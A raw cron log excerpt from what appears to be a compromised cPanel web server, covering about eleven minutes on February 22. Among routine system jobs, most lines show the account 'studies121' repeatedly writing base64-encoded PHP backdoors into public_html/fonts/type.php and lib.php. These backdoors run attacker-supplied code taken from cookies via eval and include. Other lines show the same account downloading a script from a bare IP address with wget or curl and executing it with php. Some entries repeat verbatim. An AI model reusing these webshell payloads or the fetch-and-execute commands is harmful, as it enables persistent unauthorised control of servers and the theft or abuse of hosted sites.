Feb 22 19:57:01 ip-184-168-122-23 CROND[4522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:57:01 ip-184-168-122-23 CROND[4523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:57:01 ip-184-168-122-23 CROND[4524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:58:01 ip-184-168-122-23 CROND[4838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:58:01 ip-184-168-122-23 CROND[4837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:58:01 ip-184-168-122-23 CROND[4840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:58:01 ip-184-168-122-23 CROND[4841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:58:01 ip-184-168-122-23 CROND[4839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:59:01 ip-184-168-122-23 CROND[5155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:59:01 ip-184-168-122-23 CROND[5156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:59:01 ip-184-168-122-23 CROND[5158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:59:01 ip-184-168-122-23 CROND[5159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:00:01 ip-184-168-122-23 CROND[5471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:00:01 ip-184-168-122-23 CROND[5470]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:00:01 ip-184-168-122-23 CROND[5469]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 20:00:01 ip-184-168-122-23 CROND[5476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:00:01 ip-184-168-122-23 CROND[5479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:00:01 ip-184-168-122-23 CROND[5477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 20:00:01 ip-184-168-122-23 CROND[5482]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Feb 22 20:00:01 ip-184-168-122-23 CROND[5481]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 20:00:01 ip-184-168-122-23 CROND[5485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:01:01 ip-184-168-122-23 CROND[5818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:01:01 ip-184-168-122-23 CROND[5817]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5817]: starting 0anacron
Feb 22 20:01:01 ip-184-168-122-23 CROND[5822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:01:01 ip-184-168-122-23 CROND[5830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:01:01 ip-184-168-122-23 CROND[5827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:01:01 ip-184-168-122-23 CROND[5829]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5837]: finished 0anacron
Feb 22 20:02:01 ip-184-168-122-23 CROND[6150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:02:01 ip-184-168-122-23 CROND[6151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:02:01 ip-184-168-122-23 CROND[6150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:02:01 ip-184-168-122-23 CROND[6151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:02:01 ip-184-168-122-23 CROND[6150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:02:01 ip-184-168-122-23 CROND[6151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:02:01 ip-184-168-122-23 CROND[6154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:02:01 ip-184-168-122-23 CROND[6153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:02:01 ip-184-168-122-23 CROND[6158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:03:01 ip-184-168-122-23 CROND[6562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:03:01 ip-184-168-122-23 CROND[6563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:03:01 ip-184-168-122-23 CROND[6566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:03:01 ip-184-168-122-23 CROND[6567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:04:01 ip-184-168-122-23 CROND[6909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:04:01 ip-184-168-122-23 CROND[6912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:04:01 ip-184-168-122-23 CROND[6911]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:04:01 ip-184-168-122-23 CROND[6915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:04:01 ip-184-168-122-23 CROND[6913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:05:01 ip-184-168-122-23 CROND[7238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:05:01 ip-184-168-122-23 CROND[7241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:05:01 ip-184-168-122-23 CROND[7246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 20:05:01 ip-184-168-122-23 CROND[7247]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 20:05:02 ip-184-168-122-23 CROND[7251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:05:02 ip-184-168-122-23 CROND[7252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:05:02 ip-184-168-122-23 CROND[7253]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 20:06:01 ip-184-168-122-23 CROND[7570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:06:01 ip-184-168-122-23 CROND[7572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:06:01 ip-184-168-122-23 CROND[7574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:06:01 ip-184-168-122-23 CROND[7576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:06:01 ip-184-168-122-23 CROND[7573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:07:01 ip-184-168-122-23 CROND[7887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:07:01 ip-184-168-122-23 CROND[7888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:07:01 ip-184-168-122-23 CROND[7889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:07:01 ip-184-168-122-23 CROND[7890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:08:01 ip-184-168-122-23 CROND[8224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
